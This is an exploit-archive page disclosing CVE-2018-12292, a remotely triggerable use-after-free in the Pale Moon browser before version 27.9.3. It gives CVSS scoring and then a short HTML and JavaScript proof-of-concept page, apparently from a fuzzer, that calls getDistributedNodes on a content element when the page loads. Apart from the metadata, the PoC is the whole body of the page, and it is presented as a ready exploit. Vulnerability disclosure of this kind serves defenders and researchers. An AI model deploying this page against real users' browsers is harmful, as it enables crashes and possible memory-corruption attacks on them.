Pale Moon Browser Use-After-Free

2018.06.18

Credit: Berk Cem Goksel

Risk: High

Local: No

Remote: Yes

CVE: CVE-2018-12292

CWE: CWE-416

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC) 
# Date: 2018-06-13
# Author - Berk Cem Goksel  
# Vendor Homepage: https://www.palemoon.org/ 
# Software Link: https://www.palemoon.org/palemoon-win32.shtml 
# Version:  Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)  
# Tested on: Windows 10 
# Category: Windows Remote Exploit 
# CVE : CVE-2018-12292 
 
 
<html>
<head>
<style>
</style>
<script>
 
function SetVariable(fuzzervars, var_name, var_type) { 
fuzzervars[var_type] = var_name;
 }
 
function jsfuzzer() {
 
var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList'); 
 
}
 
 
</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Pale Moon Browser Use-After-Free

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.